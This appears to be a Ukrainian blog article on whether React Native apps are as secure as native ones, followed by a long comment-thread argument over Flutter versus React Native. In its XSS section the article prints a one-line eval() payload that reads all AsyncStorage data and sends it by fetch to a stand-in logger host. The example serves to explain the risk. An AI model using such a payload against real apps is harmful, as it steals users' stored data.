Сучасна диджитал-освіта для дітей — безоплатне заняття в GoITeens ×
Mazda CX 5
×

Чи безпечні додатки на React Native у порівнянні з нативними

Усі статті, обговорення, новини про Mobile — в одному місці. Підписуйтеся на телеграм-канал!

Всім привіт! Мене звати Юлія. Я працюю в компанії Cossack Labs, де ми займаємося безпекою даних та криптографією під різні платформи та мови. Особисто я спеціалізуюся на безпеці мобільних додатків, причому не лише нативних. Останнім часом багато працюю з React Native. Певно, найпопулярніше питання, яке я чую: «чи безпечні додатки на React Native у порівнянні з нативними?».

Про архітектуру

React Native — це крос-платформне рішення від Facebook, що дозволяє створювати iOS та Android додатки за допомогою JavaScript або TypeScript (щоб було простіше, узагальнемо як JavaScript).

Коли запускається React Native додаток, він стартує JavaScript движок (нативний чи самописний). Написаний розробниками JavaScript код запускається саме на цьому «движку». Комунікація між ним і нативною частиною відбувається через Bridge компоненту: коли в нативній частині виникають події, вони перетворюються на серіалізоване повідомлення, групуються та асинхронно передаються до JavaScript движка.

Аналізуючи архітектуру з точки зору безпеки, ми маємо брати до уваги кожну окрему компоненту та комунікацію між ними.

Платформу React Native створено Facebook, тобто це стороннє рішення. Коли розробники пишуть додатки під iOS та Android, вони довіряють Apple та Google системам, їхньому функціоналу, бібліотекам, апаратному забезпеченню. Рішення використовувати React Native означає, що відтепер потрібно довіряти Facebook, тобто з’являються нові вектори атаки.

Новим вектором атаки стає Bridge, який відповідає за комунікацію. Крім того, Facebook випустив власний JavaScript движок Hermes, він покращує роботу React Native додатків. Використання Hermes додає ще один вектор атаки. Між іншим, у Hermes були офіційно зафіксовані вразливості (наразі їх вже виправили): CVE-2020-1913, CVE-2020-1912, CVE-2020-1911.

Коли багато додатків використовують певний компонент, він стає ласим шматочком для атакуючих. Шанси, що будуть ламати, зростають.

Обираючи React Native та його компоненти (Bridge, Hermes), ви погоджуєтеся на всі нові ризики та наслідки, які вони додають.

Неправильне використання платформи

Improper platform usage (неправильне використання платформи) посідає перше місце в рейтингу вразливостей у мобільних додатках OWASP Mobile Top 10. До цього класу вразливостей входять неправильне використання біометричної аутентифікації, сховищ даних, криптографії з апаратної підтримкою, WebView компоненти і т. п.

Чому виникають такі вразливості? Кожна платформа має свій унікальний функціонал. Для того, щоб робити аналіз ризиків та загроз, необхідно знати та розуміти цей унікальний функціонал. Зібрана в OWASP Mobile Top 10 статистика показує, що велика кількість iOS та Android розробників мають доволі розмиті знання специфік платформи. У випадку з React Native розробниками, які мають справу одразу з двома платформами, проблеми помножуються.

React Native — це «дірява» абстракція

В iOS і Android є спільні та відмінні риси. React Native дає розробникам вищий рівень абстракції, який приховує риси, що відрізняються. Це зручно допоки ці риси не стають важливими, наприклад, для безпеки.

Продемонструємо це: розглянемо популярний пакет для безпечного зберігання даних SecureStore від Expo. На веб-сторінці SecureStore вказано, що цей пакет зберігає дані в зашифрованому вигляді. Так і є. Але, якщо ми оперуємо критичними конфіденційними даними, нас цікавлять деталі. Також нас цікавить, чи відповідає поведінка SecureStore стандартам та кращим практикам галузі, наприклад, OWASP MASVS.

Зазирнемо у SecureStore глибше і побачимо, що з точки зору безпеки його поведінка між платформами помітно відрізняється. Наприклад, на Android, що використовує SharedPreferences та Keystore, при перевстановленні додатку дані не зберігаються. А на iOS, що використовує Keychain — зберігаються. OWASP радить видаляти попередні дані при перевстановленні додатку. Тобто для iOS відсутня фіча, яка є важливою для безпеки. Її доведеться реалізувати окремо. Також є й інші відмінності, але не будемо на них зупинятися надто задовго.

Цей приклад демонструє, чому React Native розробникам важливо розуміти, що відбувається під капотом бібліотек, та як використовувати специфічний для кожної платформи функціонал, особливо коли безпека має неабияке значення.

Про типові JavaScript вразливості

Оскільки React Native використовує JavaScript (ReactJS, якщо конкретніше), варто звертати увагу й та типові JavaScript вразливості, наприклад, XSS атаки.

Не вдаючись в деталі, відмічу, що у JavaScript поверхня для атак є досить широкою. Вона звужується для ReactJS. І ще більше вона звужується для React Native. Наприклад, React Native не використовує чистий HTML (на відміну від Cordova).Тобто популярні браузерні XSS атаки, як ті, що базуються на href атрубиті, будуть неможливі.

Хоча загалом вважається, що React Native додатки непогано захищені від типових JavaScript атак, але все ж такі XSS можливі. Розробники все ще можуть використати доволі небезпечне JavaScript API, наприклад, функцію eval().

Якщо наведений нижче код передати в eval(), можна вкрасти всі дані, що зберігаються локально в AsyncStorage.

_reactNative.AsyncStorage.getAllKeys(function(err,result){_reactNative.AsyncStorage.multiGet(result,function(err,result){fetch('http://example.com/logger.php?token='+JSON.stringify(result));});});

Тому React Native розробникам слід ретельно перевіряти та очищати дані, які вони передають в eval(), а також використовувати лінтери, що знаходять потенційно небезпечний код, наприклад, ESLint.

Про залежності

Facebook каже, що React Native використовує підхід «Learn once, write anywhere» (вивчай один раз, пиши всюди). В результаті розробники уникають написання нативного коду. Якщо виникає необхідність додати фічу, якої немає в оригінальному SDK, скоріш за все, вже є стороння бібліотека, яка реалізує цю фічу.

Таким чином, з’являється багато залежностей, що під капотом несуть ще й інші залежності. Десятки перетворюється на сотні, а з ними й вразливості всередині.

Ось приклад з реального проекту:

А це той самий проект через деякій час, після оновлення залежностей:

Підтримка React Native проекту вимагає додаткових зусиль: постійного моніторингу залежностей, регулярних оновлень, вирішення конфліктів версій.

Далеко не всі залежності оперативно виправляють знайдені вразливості. В такому разі розробники перевіряють, чи використовується у коді вразливий компонент, документують це, моніторять оновлення. Інколи доцільніше відмовитися від вразливої бібліотеки. Головна проблема полягає у тому, що все це потребує додаткових затрат часу, а вразливість може всплисти в будь-який момент.

Щодо оновлення, розробники добре знають: раз на рік потрібно бронювати час на підтримку нової версії операційної системи. Цей процес відрізняється для React Native.

Нова версія операційної системи може вносити вагомі зміни, зокрема, пов’язані з безпекою. Водночас розробники очікують також й на оновлення з боку React Native. Якщо компанія використовує fork від основного React Native репозиторію, потрібно оновити цей fork. Далі розробники чекають на оновлення залежностей і лише тоді можуть повноцінно оновити код додатку. Цей процес може розтягнутися на кілька днів.

Підбиваємо підсумки

React Native додатки можуть бути такими ж безпечними, як нативні додатки, якщо:

  • ви приймаєте ризики, що React Native додає як платформа (ви довіряєте коду від Facebook).
  • у вас є інженери з експертизою в безпеці по кожній з платформ: iOS, Android, React Native. Це можуть бути досвідчені React Native розробники, які досконало розбираються у специфіці кожної з платформ, зокрема, у безпеці. Або компанія може найняти зовнішніх спеціалістів.
  • ви розумієте та приймаєте ризики, що пов’язані з плануванням та затримкою релізів, зокрема, коли це стосується оновлення системи та залежностей.

На мій погляд, компанії часто обирають React Native, щоб зекономити, оскільки код пишеться під одну платформу, а не під дві. Але, якщо безпека даних додатку має високий пріоритет, то одна частина цього зекономленого часу піде на відпрацювання нюансів відмінностей в безпеці платформ, а інша — на вразливі залежності або написання нативного коду для того, щоб їх замінити.

👍ПодобаєтьсяСподобалось8
До обраногоВ обраному3
LinkedIn
Дозволені теги: blockquote, a, pre, code, ul, ol, li, b, i, del.
Ctrl + Enter
Дозволені теги: blockquote, a, pre, code, ul, ol, li, b, i, del.
Ctrl + Enter

Дякую за статтю, в себе на проекті використовую mobsf.github.io/docs/ для тестування на безпечність разом з постійними оновленнями. Замовника такий рівень поки влаштовує так як mobsf генерує репорти з фінальним балом)

Я також використовую MobSF. Дуже зручно, що він проходиться і по коду залежностей. З моєї практики він знаходить багато false positive на Android, тому доводиться його оцінку трохи перераховувати.

Мне кажется, что при создании UI фреймворка встаёт выбор:
безопасность, функциональность, простота — выбирай любые два.
Чисто мнение бэкендера, поправьте.

Первое что стоит сделать на RN проекте — это избавиться от RN и перейти на Flutter.

Flutter згодиться тільки для прототипування або швидкого старту для показу проекту інвестору. Відразу після цього все переписується на натів Swift і Kotlin. Flutter вже кілька років працює і до цих пір жодна велика app’ка не перейшла на нього і не перейде. Те що в Алібаба пару непотрібних екранів зробили на Flutter це не показник.

Ваше право так думать. А тем временем Flutter развивается, кол-во вакансий растёт)

Он-то развивается, вот только зря Гугл впихнули туда Dart, который не применяется практически больше нигде в прикладной разработке.

Это не говоря о зоопарке подходов к организации архитектуры приложения, который тоже отнюдь не снижает порог входя для новичков.

«Зря» — можно было бы говорить в том случае если бы он не выстрелил.
А что по вашему он должен был туда впихнуть?

«Зря» — можно было бы говорить в том случае если бы он не выстрелил.

А он выстрелил? Да, Гугл продолжает его развивать, и кто-то, наверное, даже пишет какие-то приложения на Flutter. Даже комьюнити какое-то есть. Это уже результат, не спорю — но, даже об активном вытеснении RN (или, Electron на десктопе) с рынка речи пока не идёт.

А что по вашему он должен был туда впихнуть?

Что угодно, на чём разработчики уже умеют писать. Понимаю, что Java — плохой вариант из-за тёрок с Oracle, но... Kotlin, C#, да тот же JavaScript, для которого у Гугла есть своя виртуальная машина.

Я бы и от Swift не отказался, т.к. как язык он довольно приятный и расчитан на компиляцию в нативный код — но, понятно, что этот вариант Гугл не выбрали по политическим причинам.

Но, блин, пихать туда Dart, который не используется нигде и ни для чего более (когда-то его хотели запихнуть в браузеры как альтернативу JS — но, не взлетело) — что это, как не выстрел в ногу?!

А он выстрелил

Да.

да тот же JavaScript

Да когда он уже кони отдаст этот ЖС?)))
Перестаньте толкать умирающую лошадь. Похороните с почестями и все ;-)
ЖС не приносит в мир Кодина ничего кроме стиля костылячества) Когда один косяк языка подпирают другим костыльным решением(TS)

Kotlin, C#

Ну очень спорное решение)
Думаю что не хотели завязываться на стороннюю технологию. К тому же у Дарта и jit и aot, хз как там у этих языков с этим.

на чём разработчики уже умеют писать

Вообще для меня не аргумент. Как я уже писал — язык ничто) Я готов сесть и говнять на любом языке, спустя недельку.

Да когда он уже кони отдаст этот ЖС?)))

«Никогда, товарищ дух» © JavaScript eats the world.

Думаю что не хотели завязываться на стороннюю технологию. К тому же у Дарта и jit и aot, хз как там у этих языков с этим.

У Котлина всё хорошо с этим, есть и jit из коробки, и AOT (Kotlin Native).
Да и не настолько это сторонняя технология для Гугла, раз они официально рекомендуют писать именно на этом языке под Android :)

С C# было бы сложнее, да, т.к. last time I checked, для него были только сторонние решения для AOT компиляции.

Как я уже писал — язык ничто) Я готов сесть и говнять на любом языке, спустя недельку.

Ты — готов, а многие другие разработчики — нет. Их и так «неплохо кормят» © с их текущими навыками, чтобы рыпаться в изучение нишевой технологии с не очень понятными перспективами.

А единицы энтузиастов, увы, в коммерческой разработке погоды не делают. И, затем, энтузиасты — они же такие, им через пару-тройку месяцев станет интересно поговнять ещё на чём-нибудь. А кто будет поддерживать и развивать уже написанное?

JavaScript eats the world

Очень жаль(

единицы энтузиастов

Так и было в конце 2018 года, когда релизнули флаттер.
Сегодня во флаттер вливаются и Майкрософт и Убунту(написали инсталлятор на флаттер)
И единицы ентузиастов остаются у RN

И единицы ентузиастов остаются у RN

Ну вот не вижу я этого в реальности, понимаешь? А вижу ровно обратное — собеседуем React разработчиков, а они спрашивают о перспективах попробовать себя в React Native разработке.

Я это не ради троллинга, если что. Если Flutter получит бОльший adoption, чем RN, я буду только рад. Технология-то хорошая.

Сегодня во флаттер вливаются и Майкрософт

О, это интересно. А ссылочку можно?

собеседуем React разработчиков, а они спрашивают о перспективах попробовать себя в React Native разработке

Никакого диссонанса не вижу. Они понимают что это близкие по сути технологии, но не понимают болей и альтернатив.
Думают что можно одним махом и смежный скилл прокачать

О, это интересно. А ссылочку можно?

devblogs.microsoft.com/...​ter-dual-screen-foldable
docs.microsoft.com/...​n-us/dual-screen/flutter

devblogs.microsoft.com/...​ter-dual-screen-foldable

До-о, поддержали аж парочкой свойств для определения того, foldable это устройство или нет ))

Только вот, внезапно, в React Native впилили ровно такую же поддержку:
docs.microsoft.com/...​act-native/dualscreeninfo

Ну к чему эти передёргивания, на самом деле MS реализовали поддержку dual screen для всех SDK и платформ, с помощью которых можно разрабатывать Android приложения.

Им крайне критично, чтобы под их устройства пилили софт, т.к. MS очень хорошо помнят, как просрали все полимеры с Windows Phone, да и с Windows RT, по сути, тоже. И, сейчас, будут из кожи вон лезть, обеспечивая поддержку форм-фактора dual screen в любой платформе и инструментарии разработки под Android.

альтернативу JS — но, не взлетело

Ну тут ожидаемо, слишком сильно ЖС залез в браузеры. А дарт тогда был таким же слаботипизирлвпнным говнищем)
То есть менять шило на мыло...

К тому же — как будто язык что-то значит.
Значение имеет сколько денег можно сэкономить на разработке. Судя по прогрессу — флаттеру это удаётся. А все обсуждения вокруг архитектур, языков — ничего не значат за пределами узкого круга девелоперов)

К тому же — как будто язык что-то значит.
Значение имеет сколько денег можно сэкономить на разработке.

Для того, чтобы сэкономить на разработке — нужно, чтобы были желающие разрабатывать именно на этом языке и этой технологии. Чем нишевее технология — тем таких желающих меньше, по причине банальной job security (а кладбище похороненных технологий и проектов у Гугла немаленькое).

RN с этой точки зрения выглядит куда как более привлекательно, т.к. навыки JavaScript и React отлично конвертируются в ту же front-end разработку. Другими словами, RN разработчику, если закроется проект на RN, не так и сложно переучиться на обычного Web front-end разработчика (а если на Web проекте есть отдельный хороший верстальщик, или уже собран хороший UI Kit — то RN разработчик чуть ли не со старта сможет приносить пользу).

А вот со знаниями Dart и Flutter так не получится.

кладбище похороненных технологий и проектов у Гугла немаленькое

И?) Любая технология может гегнуть. RN полумёртвый от рождения ;-)

RN разработчику, если закроется проект на RN, не так и сложно переучиться на обычного Web front-end разработчика

Примерно такой же миф как и то что Реактщик легко потянет RN.
Для того чтобы с Флаттера пересесть на React достаточно читнуть доку. Такто концепции те же, есть и хуки и редакс и мобикс)
Версточку чуть подтянуть, это да.

RN полумёртвый от рождения ;-)

Скажу сразу — дискутировать с риторикой фанбоев в духе Валялькина мне неинтересно от слова совсем. Либо доказательства в студию, либо это утверждение бездоказательно и не стоит даже тех букв, которыми написано на экране.

Даже если читать вот эти радостные сентенции, то в 2021м Flutter только начал догонять RN по adoption rate: thenewstack.io/...​s-react-in-developer-use. Так что, если уж RN и полумёртв, то Flutter, и подавно, «скорее мёртв, чем жив».

Примерно такой же миф как и то что Реактщик легко потянет RN.

Это не миф, а факт, который я своими глазами наблюдал на прошлой работе.

Для того чтобы с Флаттера пересесть на React достаточно читнуть доку.

Только если человек уже знает Javascript / Typescript. Да и то, я бы сказал, это излишне оптимистичное заявление. Если на Флаттере человек, скажем, привык писать в стиле BLoC, ему или ей не так-то и просто будет сходу пересесть на, скажем, классический Redux (который на практике используется куда как чаще, чем MobX).

Но, наш спор начался, как раз, именно с того, что в Flutter используется нишевый язык Dart — а вот пересесть с него на JS/TS со всеми их приколами — это далеко не «недельку почитать документацию».

в стиле BLoC

Что блок что редакс)
Ивент -> экшон
Стейт -> стейт
мапИвентТуСтейт -> редьсер

И все, боец готов педалить на Редакс

пересесть с него на JS/TS со всеми их приколами

Со «всеми приколами» очень хорошо иллюстрирует костыльнсть обеих технологий)

Соглашусь, чтобы со всеми приколами — недели не хватит. Но для того чтобы начать деливерить — достаточно создать файл .js и начать писать, подглядывая на стековефлоу

чтобы начать деливерить — достаточно создать файл .js и начать писать, подглядывая на стековефлоу

Тогда всё понятно. Так деливерить — нет, спасибо, не нужно.

Дискутировать с Васькой — дохлый номер, он из церкви второго пришествия Флатера.

— вся вкладка Marketplace(200-300 surfaces) в приложении Facebook написана на React Native, её посещаемость 1 billion(!!!) visits per month, а ещё в Oculus, Instagram, всего около 1000 surfaces
— Microsoft использует RN практически во всех своих мобильных приложениях, и ещё в офисных десктопных приложениях Office 365, а ещё XBox Microsoft Store был переписан на React Native
— Shopify мигрирует свои мобильные приложения на RN
— Coinbase недавно закончил миграцию своих нативных мобильных приложений на RN
— А ещё на RN написаны аппки Discord, Walmart, Wix, Bloomberg, Tesla, FlipKart, UberEats, ...

И это нишевая технология, Вася? Flutter по adoption rate гораздо слабее, а уж по количеству вакансий и гонорарам — так это точно...

Зрозуміло, чому мобільні додатки Microsoft такі убогі, там RN юзають. А от AirBnb викинула RN як страшний сон. І що тут сказати, молодці.

І у Flutter так само є, як похвалитися, що його засунули на якусь сторінку у якійсь апці-монстрі flutter.dev/showcase а дехто типу BMW і Google з їх Google Pay і Google Ads повністю апки написав на Flutter.

А порівняння гонорарів взагалі голослівне.

по количеству вакансий

да

гонорарам

Ну я не заметил)
За флаттерок майню аки сын подруги твоей мамки за React

Друже, фанбоєм RN тут виглядаєш ти.

если уж RN и полумёртв, то Flutter, и подавно, «скорее мёртв, чем жив».

Flutter скоріше підліток, який подає надії, а RN — це вже підстаркуватий плейбой, від якого відмовляються адекватні компанії.

в Flutter используется нишевый язык Dart — а вот пересесть с него на JS/TS со всеми их приколами — это далеко не «недельку почитать документацию».

На JS світ клином не зійшовся. На Dart перейти з Java/Kotlin — питання кількох днів, що я успішно і зробив. З JS і ReactJS возитися мені довелося довше. І багато нативних мобільних розробників спокійно переходять на Flutter — пара днів на Dart, ще пара днів, щоб зрозуміти, що Padding і Text — це вже не властивості віджетів, а окремі віджети, ще кілька днів на розібратися з особливостями BLoC — і вперед. Особливості мобільних платформ, про які фронтендери не здогадуються, залишаються тими ж самими. Та і повернутися назад в нативку не проблема.
І так, Google з Dart перестрахувався, взявши мову, яку повністю контролює. Досить логічний крок, після того, як обпеклися з Java.

собеседуем React разработчиков, а они спрашивают о перспективах попробовать себя в React Native разработке.

Тю, ну то логічно, люди хочуть спробувати щось нове. Тільки от на RN проекті, де я був з двома фронтендерами, всі мінімально нативні штуки доводилося ковиряти мені (від запуску додатку гугл карт до підключення ліб в Xcode, при чому всьому я Android-розробником був, а не iOS, але фронтендери від нативки безкінечно далекі).

По вакансіям якщо подивитися прямо зараз на dou, то різниця між RN і Flutter менш, як в 2 рази. Що логічно, враховуючи, скільки проектів на RN, які треба підтримувати, наробили на хайпі.

RN — це вже підстаркуватий плейбой, від якого відмовляються адекватні компанії.

Друже, такие заявления хорошо бы подкреплять пруфами. Я знаю только о двух публиковавшихся в «прессе» случаях, когда от RN отказались в пользу нэйтива; в обоих достаточно аргументированно и обоснованно описывалось, почему.

На Dart перейти з Java/Kotlin — питання кількох днів

ОК, допустим это вариант входа во Flutter с самым низким порогом входа.

Вот только какая мотивация у native Android разработчиков делать это en masse?

Повторю тот же аргумент, который я приводил и Василию — единицы энтузиастов здесь, увы, роли не играют, поскольку на этом нельзя построить sustainable разработку.

Я знаю только о двух публиковавшихся в «прессе» случаях, когда от RN отказались в пользу нэйтива

А цього мало?) Навіть якщо говорити про AirBnb, то вона ввалила серйозні гроші в розробку, помучилася і викинула все в трубу.

Facebook не викидає, бо фактично повністю контролює React Native і може його крутити в усі сторони, щоб покрити свої потреби. А по факту нормальний додаток на React Native щоб зробити — це треба напрягтися серйозніше, ніж з нативкою.

какая мотивация у native Android разработчиков делать это en masse?

А у фронтендерів є прямо серйозна мотивація іти в React Native? Масового адопшену і переходу на RN я за всі роки його існування не помітив. Окремі сторіночки в додатках — це таке, корпорації граються і перевіряють гіпотези.

Мобільним розробникам є сенс переходити на Flutter, бо він вирішує
більше болей нативної розробки, ніж додає нових. Ну і Flutter знаходиться під крилом тої ж компанії, що і найбільша мобільна ОС. Так що є сенс розраховувати на дещо швидшу адаптацію Flutter під нові версії цієї ОС. Facebook цим не сильно заморочується.

І в цілому головна перевага над React Native — відсутність бриджу між нейтівом і JS і власна відрисовка всього UI, замість спілкування з нативними віджетами через JS-обгортки. Більшість проблем з перформансом, від яких болить в RN, це вирішило на раз.

В цілому, як на мене, дивно, що доводиться пояснювати базові речі. В RN ідуть фронтендери, плюс його беруть компанії, в яких достатньо фронтенд-експертизи. У Flutter ідуть мобайл деви, і його беруть компанії, які розуміють, що для світчингу між розробкою для браузера і смартфона треба більше нової експертизи, ніж для переходу від Java до Dart.

о факту нормальний додаток на React Native щоб зробити — це треба напрягтися серйозніше, ніж з нативкою.

Видишь ли, мои наблюдения говорят об обратном. На прошлой работе, несколько толковых ребят свичнулись с фронтенда в RN, и пекли MVP для стартапов как пирожки в довольно короткие сроки.

Можно, разумеется, спорить, что есть «нормальний додаток», но их клиенты были вполне довольны результатом.

корпорації граються і перевіряють гіпотези.

Выше приводили довольно внушительный список написанных на RN приложений, и не только большими корпорациями.

А у фронтендерів є прямо серйозна мотивація іти в React Native?

Скажем так — системный интерес к этой технологии я у фронт-ендеров точно наблюдаю в последнее время; и видел уже немало резюме / профилей, где React разработчики добавляют в свой арсенал навыков именно RN.

Мобільним розробникам є сенс переходити на Flutter, бо він вирішує більше болей, ніж додає.

Я вот не уверен, какие боли Flutter решает для, скажем, native Android разработчика?

Ну і Flutter знаходиться під крилом тої ж компанії, що і найбільша мобільна ОС. Так що є сенс розраховувати на дещо швидшу адаптацію FLutter під нові версії цієї ОС.

И ключевое слово здесь — «цієї». В то время, как что Flutter, что RN ценны именно как инструмент кросс-платформенной разработки. Если Google будет хорошо адаптировать Flutter под Android и забивать на iOS, это прямая дорога на кладбище технологий.

RN, кстати, одно время недолюбливали за ровно обратное — поддержка Android там была second class citizen. Потом, вроде бы, восстановили баланс; по крайней мере, сейчас ругани в адрес RN на Андроид не слышно.

Я вот не уверен, какие боли Flutter решает для, скажем, native Android разработчика?

Як мінімум, UI, особливо кастомні в’юхи робити в рази швидше і зручніше, ніж через xml. Плюс hot reload реально працює, коли працюєш над UI, не треба чекати хвилину щоразу на ребілд проекту, щоб подивитися, як кнопка змінилася (і хвилина — це навіть ок для нативки в реальному проекті, означає, що інкрементальний білд працює). У RN, до речі, hot reload працював гірше, коли я його востаннє щупав.

Також, так як відмальовується UI не нативними в’юхами, набагато менше проблем з підтримкою старіших версій android, нема потреби, як в нативці, в 20 компат-лібах від гугла підключених.

Набагато простіший лайфсайкл екранів, зрештою, все одноманітно, нема проблеми сидіти і зважувати, «чи робити single activity з фрагментами, або взагалі кастомними в’юхами, чи, як раніше, багато актівіті, як хендлити переворот екрану в кожній з цих ситуацій» і т.п.

И ключевое слово здесь — «цієї». В то время, как что Flutter, что RN ценны именно как инструмент кросс-платформенной разработки.

Поки серйозного перекосу в сторону якоїсь платформи у Flutter я не помічаю. Ну, і тут це дещо простіше, бо не треба, наприклад, UI 2 рази робити на рівні бібліотеки компонентів.

Це може бути теж помилка вижившого до певної міри, але я бачу хороший інтерес до Flutter у B2B секторі. Там не треба апки, які будуть виглядати «нативно» для ретеншену юзерів, достатньо, щоб UI був адекватним, зрозумілим і шустрим, плюс розрозбка економила кошти. І з Flutter це все виходить. На одному з моїх місць роботи нативні апки для B2B проекту викинули і переписали на Flutter, бо так простіше буде далі підтримувати і оперативно додавати нові фічі, які «на вчора» вимагають великі клієнти.

Це може бути теж помилка вижившого до певної міри, але я бачу хороший інтерес до Flutter у B2B секторі. Там не треба апки, які будуть виглядати «нативно» для ретеншену юзерів, достатньо, щоб UI був адекватним, зрозумілим і шустрим, плюс розрозбка економила кошти. І з Flutter це все виходить.

Да, это действительно хороший сильный аргумент в пользу Flutter (плюс, то же самое верно для «брэндированных» приложений — например, от мобильных операторов или сетей супермаркетов)

Собственно, по этой причине ещё на прошлой работе мы одно время смотрели на Flutter с интересом, и даже пытались на нём что-то делать для внутренних нужд. Но, всё это заглохло в первую очередь потому, что энтузиазма и желающих пересаживаться на эту технологию не наблюдалось.

Ну и про ЮАй(может звучало уже) — не нужно тестировать на обоих девайсах, достаточно протестить на одной платформе хорошо, а вторая идет бонусом и выглядит так же.
Конечно, есть процент багов завязаных на извращения платформы, потому логичным выглядит покрывать андроид мануалом, а на айОс «оно само»)

несколько толковых ребят свичнулись с фронтенда в RN

Опять таки)
Они свичнулись потому что сознательно отбраковали флаттер(если да то по каким причинам) или потому что быстрее перейти было?(а о дальнейших проблемах узнаешь уже когда отправляется поезд)

Они свичнулись потому что сознательно отбраковали флаттер(если да то по каким причинам) или потому что быстрее перейти было?

Было быстрее перейти + был лидер/ментор, который сам осилил RN и был готов помогать осваивать эту технологию другим.

о дальнейших проблемах узнаешь уже когда отправляется поезд

Давайте, может быть, всё же, какую-то конкретику в студию?

Был случай, когда я попридержал энтузиазм ребят делать очередной проект на RN, поскольку сама суть проекта (что-то связанное с монтажом видео, насколько припоминаю) явно не сочеталась со sweet spot кросс-платформенных технологий мобильной разработки.

Давайте, может быть, всё же, какую-то конкретику в студию?

Высокий порог контрибута.
Дев экспириенс — не фонтан.
Дев Тулы — такое себе.
Поддержка в ИДЕ — нет оффициальной поддержки.
Может выглядеть по разному на разных девайсах.
Дебаг в хроме, на другом движке -> не видишь возможных багов.
Нельзя отрендерить айос компонент на андроиде(кросс девайс лук энд фил).
Нету предефайнд дизайн системы — только разрозненные компоненты.
Нет налл-сейфти)
Кодогенерация отсутствует как класс.
Скорость развития...

Высокий порог контрибута.

Это о чём вообще?

Дев экспириенс — не фонтан.

Обоснуй, пожалуйста.

Дев Тулы — такое себе.

Очень субъективное суждение.

Поддержка в ИДЕ — нет оффициальной поддержки.

Как это нет? В VS Code есть официальная поддержка от Microsoft: marketplace.visualstudio.com/...​sdiag.vscode-react-native

Может выглядеть по разному на разных девайсах.

Разных девайсах или разных ОС?

Дебаг в хроме, на другом движке -> не видишь возможных багов.

Причём Хром к React Native?

Нельзя отрендерить айос компонент на андроиде(кросс девайс лук энд фил).

Странно выставлять в качестве претензии к платформе то, для чего она изначально никогда не была предназначена. RN от рождения проектировался под device-native look and feel, как предпочтительный подход при разработке мобильных приложений. На кросс-девайс тогда пользовательская аудитория, особенно — самая платежеспособная на iOS — смотрела презрительно. Я помню целый список нюансов (жесты, навигация — это то, что помню навскидку), которые мне тогда перечисляли матёрые iOS разработчики как типично отсутствующие в приложениях, не учитывающих традиции user experience.

Кросс-девайс хорош, как правильно замечали выше, для B2B корпоративных приложений, или приложений со скидочными картами от супермаркетов — вот в этих случаях ни у кого нет особых ожиданий к изысканности UX; как говорится, «абы работало».

Нету предефайнд дизайн системы — только разрозненные компоненты.

Потому, что предполагается использование «родной» для платформы дизайн системы (Material UI / UIKit)?

А какая predefined design system есть у Flutter? Material UI не предлагать, т.к. он чужероден для iOS

Нет налл-сейфти)

Не надо чуши писать, пожалуйста. Включаешь strict mode в TypeScript — и будет такой «строгач», что, мягко говоря, удивишься.

Кодогенерация отсутствует как класс.

Кодогенерация для чего именно? Давай конкретику в студию, так как для того же Redux понаписано довольно много вспомогательного инструментария. Не обязательно это кодогенерация (а на ней, что, свет клином сошёлся?); например, вот эта штука сильно сокращает бойлерплейт: easy-peasy.vercel.app

Это о чём вообще?

Flutter большей своей частью написан на дарте, отлично дебажится из ИДЕ. Потому законтрибутить туда легче чем в ReactNative.

Очень субъективное суждение

Очень субъективный контраргумент

Причём Хром к React Native?

Имел ввиду дебаг под V8, в то время как на девайсе запускается под JSC

Включаешь strict mode в TypeScript

Удобно)
Надо знать JS и TS
Кроме того дырявость TS отдельный нюанс)

разных ОС

Разных ОС, верно.

Странно выставлять в качестве претензии к платформе то, для чего она изначально никогда не была предназначена

Понятно, не соответствует современным требованиям.

на ней, что, свет клином сошёлся

Свет клином ни на чем не сошёлся.
Просто удобно, экономит время.

VS Code есть официальная поддержка от Microsoft

Все таки от разработчиков официальной поддержки нет, я правильно понял?
Что по продуктам JetBrains?

Могу еще добавить небольшой плюс за Flutter — если посмотреть в будущее — то скоро(ой хз как скоро) выходит хайповая Fuschia которая «supports Dart, it is safe to assume that Flutter will gel with Fuchsia», которая возможно будет «продолжением» андроида и «интернета вещей». И для нее как раз будем рисовать UI на Flutter...

Про фуксию и её будущий счастливый брак с Flutter говорят уже давненько, но я до сих пор не понимаю, где именно эта самая фуксия будет реально применяться.

возможно будет «продолжением» андроида и «интернета вещей».

Вот да, такого рода общие расплывчатые слова обычно и встречаются в публикациях, но... «что конкретно ты имела в виду?!» © :)

Мне кажеться, сначала гугл будет релизить/обкатывать ее для iot-девайсов (пруф — itc.ua/...​t-hub-pervogo-pokoleniya) а ток потом выпустит чтото на моб телефоны.

Давайте вернемся к батлу Flutter-RN — вспомнил еще плюс за Flutter — делать «попабольные» проекты где сразу выплевываеться ios-android-WEB легче на Flutter, тк в вебе ресуеться на канвасе ui, а на RN нужно ставить доп либу, писать стили для веба, все такое.

в вебе ресуеться на канвасе ui

Так это ни разу не плюс. Уже была когда-то мода на интерфейсы на Флэше, закопали — и слава Богу.

Тут спорить не буду, нет опыта web flutter. Но рисование в флеше != на канвасе.

Суть та же — это не нативный browser DOM; соответственно, прощай SEO, прощай даже встроенный поиск в браузере;

Ещё, в случае Canvas, возникает много вопросов к аппаратному ускорению, рендерингу текста, и ещё много чему. Та же Figma отказалась от отрисовки на Canvas в пользу WebGL (источник: www.figma.com/...​l-design-tool-on-the-web)

Коментар порушує правила спільноти і видалений модераторами.

дискутировать с риторикой фанбоев в духе Валялькина мне неинтересно

Если вы в своей дискуссии выбираете переход на личности — так и запишем «в дискуссию не умеет»)

Ну так а ты не уподобляйся таким личностям ))

Потому как, на субъективные opinionated суждения и бездоказательные вбросы отвечать ну вот совсем не интересно.

Дискутировать «не интересно», но на каждый комент отвечаете?

Я дал ещё одну попытку дискуссии перейти в нормальное русло, но если и дальше будут вбросы чуши наподобие null safety или отсутствия поддержки в IDE, то точно перестану отвечать.

Нет, нет, не переставайте отвечать, я больше не буду, честно-честно.

Тоже Василий:

Кроме того дырявость TS отдельный нюанс)

На этом и закончим. Обсуждать ничем не обоснованные вбросы нет ни времени, ни желания.

Адьйос, мой занятой визави ;-)

А что им было выбрать? По-моему самый логичный шаг.

C# - им рулит Microsoft, возможны проблемы в будущем, они уже обожглись с java
Swift — им рулит Apple, те же проблемы что с C#
Javascript — язык-помойка, от него нужно по-хорошему уходить.
Kotlin — создание русских программистов, с политической точки зрения делать ставку на него вообще опасно.
Go — он не подходит для их затей которые они хотят возложить на Dart.

C# - им рулит Microsoft, возможны проблемы в будущем, они уже обожглись с java
Swift — им рулит Apple, те же проблемы что с C#

Не совсем так; в обоих случаях, спецификация языка open source — иначе, такой же дамоклов меч висел бы и, например, над Unity.

